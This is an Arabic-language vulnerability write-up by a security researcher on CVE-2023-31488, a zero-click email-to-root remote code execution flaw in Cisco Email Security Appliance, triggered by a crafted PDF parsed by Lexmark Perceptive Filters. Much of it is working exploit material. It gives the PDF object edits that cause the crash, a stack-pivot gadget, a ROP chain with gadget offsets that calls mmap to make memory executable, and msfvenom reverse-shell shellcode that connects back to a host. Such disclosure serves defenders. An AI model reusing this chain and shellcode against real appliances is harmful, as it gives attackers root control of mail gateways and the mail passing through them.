جهاز أمان البريد الإلكتروني من Cisco: بريد إلكتروني إلى RCE بدون أي نقر بصلاحية الجذر - تنفيذ تعليمات برمجية عن بُعد/فساد ذاكرة/سلسلة ROP
باحث أمني: ly1g3، ly1g3[at]tuta.io
بصمة GPG: https://keys.openpgp.org/vks/v1/by-fingerprint/5FE85CE4E8F675F5ABD2C0A33CE8BE447ED6D586
نظرة عامة: البريد الإلكتروني إلى RCE بدون أي نقرة بصلاحيات الجذر - تنفيذ تعليمات برمجية عن بُعد / تلف الذاكرة / سلسلة ROP
CVE: CVE-2023-31488
الجدول الزمني:
أثناء تفحّي ثغرات Cisco Email Security Appliance (ESA)، اكتشفت ثغرة في Lexmark Perceptive Filters، التي يستخدمها ESA لتنقية بيانات مرفقات البريد الإلكتروني، مما يؤدي إلى RCE عبر البريد الإلكتروني. يحدث الانهيار عند تحليل مرفق PDF مُعدَّل. من خلال تغيير معرّف كائن PDF مكوّن من رقمين، على سبيل المثال:
مثال:
13 0 obj
<</Subtype/CIDFontType2/FontDescriptor
تغيير جزء من المعرّف من 13 إلى قيمة أخرى (مثل مسافة) يؤدي إلى:
1 0 obj
<</Subtype/CIDFontType2/FontDescriptor
يؤدي إرسال ملف PDF المُعدَّل هذا في بريد إلكتروني إلى Cisco ESA إلى انهيار بخطأ تجزئة في libISYSpdf6.so. يحدث الانهيار بسبب احتواء r14 على بيانات ASCII.
الفحص الدقيق يُظهر أن هذه البيانات تأتي من محتوى مرفق PDF الذي نتحكم فيه. قيمة r14 هي Rect.
![]()
اختبار عند تغيير Rect إلى AAAA.
بما أن قيمة r14 تُحمَّل من بيانات في ملف PDF، يمكننا تعديلها لتشير إلى عنوان ذاكرة صالح. بعد هذا التعديل، يحدث انهيار آخر بسبب بيانات غير صالحة في RAX. هذه البيانات هي أيضًا ASCII من ملف PDF.
نعدّل ملف PDF بحيث يشير rax أيضًا إلى عنوان فعلي ونكمل.

يحدث انهيار جديد؛ الآن يحتوي rsi على بيانات ASCII من ملف PDF.

نعدّل ملف PDF مرة أخرى لتحميل عنوان ذاكرة حقيقي.
أخيرًا، نصل إلى جزء مثير جدًا من الكود، حيث نتحكم في rdi، والذي يُستخدم لتحميل قيمة في rax. التعليمات الأخيرة في هذا التسلسل هي call rax. نحن الآن نحقق تقدمًا جيدًا نحو الحصول على قدرات تنفيذ تعليمات برمجية.
مرة أخرى نفتح المحرّر السداسي العشري ونعدّل القيمة المُحمَّلة في rdi.

الآن لدينا وسيلة لتنفيذ تعليمات برمجية محدود ويمكننا القفز إلى عنوان واحد. نظرًا لعدم وجود ASLR، فإن العثور على عناوين الذاكرة سهل. نتحكم أيضًا في rdi، وبالتالي نستخدم أداة ROP الأولية libISYSshared.so: push rdi; pop rsp; xor eax, لنقل rdi إلى rsp للتحكم في المكدس. نوجّه المكدس إلى منطقة نتحكم فيها في منطقة ذاكرة PDF مع مكدس مخصص مُجهّز بمزيد من أدوات ROP.

يتم وضع شيل كود عكسي (reverse shell) لنظام FreeBSD مولّد بواسطة msfvenom في منطقة ذاكرة PDF. ولكن نظرًا لأن الذاكرة غير قابلة للتنفيذ، يجب علينا أولاً جعلها قابلة للتنفيذ.
shellcode = b'\x90'*100
buf = b""
buf += b"\x31\xc0\x83\xc0\x61\x6a\x02\x5f\x6a\x01\x5e\x48\x31"
buf += b"\xd2\x0f\x05\x49\x89\xc4\x48\x89\xc7\x31\xc0\x83\xc0"
buf += b"\x62\x48\x31\xf6\x56\x48\xbe\x00\x02\x1b\x58\xc0\xa8"
buf += b"\x64\x9f\x56\x48\x89\xe6\x6a\x10\x5a\x0f\x05\x4c\x89"
buf += b"\xe7\x6a\x03\x5e\x48\xff\xce\x6a\x5a\x58\x0f\x05\x75"
buf += b"\xf6\x31\xc0\x83\xc0\x3b\xe8\x08\x00\x00\x00\x2f\x62"
buf += b"\x69\x6e\x2f\x73\x68\x00\x48\x8b\x3c\x24\x48\x31\xd2"
buf += b"\x52\x57\x48\x89\xe6\x0f\x05"
نظرًا لأننا نتحكم في المكدس في هذه المرحلة، يمكن القيام بذلك عبر سلسلة ROP التالية لاستدعاء mmap لتعيين منطقة ذاكرة الشيل كود على أنها RWX.
rop += rebase_0(0x00000000000d0d30) # 0x00000000000d0d30: pop rdi; ret;
rop += p(pdf_data_base_address)
rop += rebase_0(0x00000000000692b2) # 0x00000000000692b2: pop rsi; ret;
rop += p(0x100000)
rop += rebase_0(0x00000000000d0cb3) # 0x00000000000d0cb3: pop rdx; ret;
rop += p(0x0000000000000007)
rop += rebase_0(0x0000000000019020) # 0x0000000000019020: pop rax; ret;
rop += p(0x4a)
rop += rebase_1(0x0000000001169f94) # 0x0000000001169f94: syscall; ret;
rop += rebase_0(0x000000000003be21) # 0x000000000003be21: call rsp;
بعد استدعاء mmap، سيقوم call rsp; بتنفيذ NOP-sled الخاص بالشيل كود الخاص بنا نظرًا لأن عنوان الشيل كود يلي ذلك في المكدس المخصص. الشيل كود هو شيل عكسي مولّد بواسطة msfvenom.
الشيء المثير للاهتمام هو أن هذا الكود يُنفَّذ قبل أي فحص ثابت لمكافحة الفيروسات، لذا فإن شيل metasploit العكسي القياسي سيعمل بشكل جيد.
يمكننا استخدام إثبات المفهوم (POC) أدناه لإنشاء PDF يعمل. بعد ذلك، نرسله فقط في بريد إلكتروني إلى ESA للحصول على RCE. راجع ثغراتي الأخرى لتصعيد الامتيازات.
وبهذا نحصل على شل عن بُعد على ESA:
كان هذا مشروعًا ممتعًا علّمني الكثير عن ثغرات تلف الذاكرة. كما يُظهر مدى جودة الحماية التي توفرها وسائل الحماية "الحديثة" للذاكرة مثل ASLR، ولكن أيضًا أنه لا يزال بإمكانك العثور على أنظمة بدون ASLR في الخارج.
هجوم تجاوز (overflow) على ESA (Cisco Secure Email). تنفيذ تعليمات برمجية عن بُعد بصلاحيات الجذر.
من خلال إرسال ملف PDF مصمم خصيصًا، يؤدي التجاوز إلى حصول المهاجم على تنفيذ تعليمات برمجية عن بُعد عشوائي على ESA والمنتجات الأخرى التي تستخدم Lexmark Perceptive Filters.
يسمح هذا الهجوم بالتجاوز للمهاجم بالسيطرة على تعليمات call rax، مما يجعل من السهل الانتقال إلى تنفيذ تعليمات برمجية عشوائية نظرًا لعدم استخدام ASLR على ESA. سيتم تنفيذ الكود بصلاحيات الجذر.
تأتي المشكلة من تحليل PDF في مكتبة libISYSpdf6.so من Lexmark وتنتج عن استدعاءات الدالة IGR_Open_File_Ex. يمكن تتبع هذه الدالة إلى دوال safeprint و image_analysis في AMP (الحماية المتقدمة من البرامج الضارة) ولكن من المحتمل أن يتم تشغيل الاستغلال عبر مسارات أخرى أيضًا.
Subtype/CIDFontType2/FontDescriptor. يمكن العثور على نموذج هنا https://github.com/ant4g0nist/fuzzing-pdfs-like-its-1990s/blob/main/pdfs/combo_box.pdf13 0 obj
<</Subtype/CIDFontType2/FontDescriptor
13 بقيمة أخرى (مثل مسافة) 1 مما يؤدي إلى:1 0 obj
<</Subtype/CIDFontType2/FontDescriptor
إرسال ملف PDF إلى ESA مع تفعيل safeprint أو AMP image_analysis
يؤدي هذا إلى خطأ تجزئة (Segmentation Fault) في libISYSpdf6.so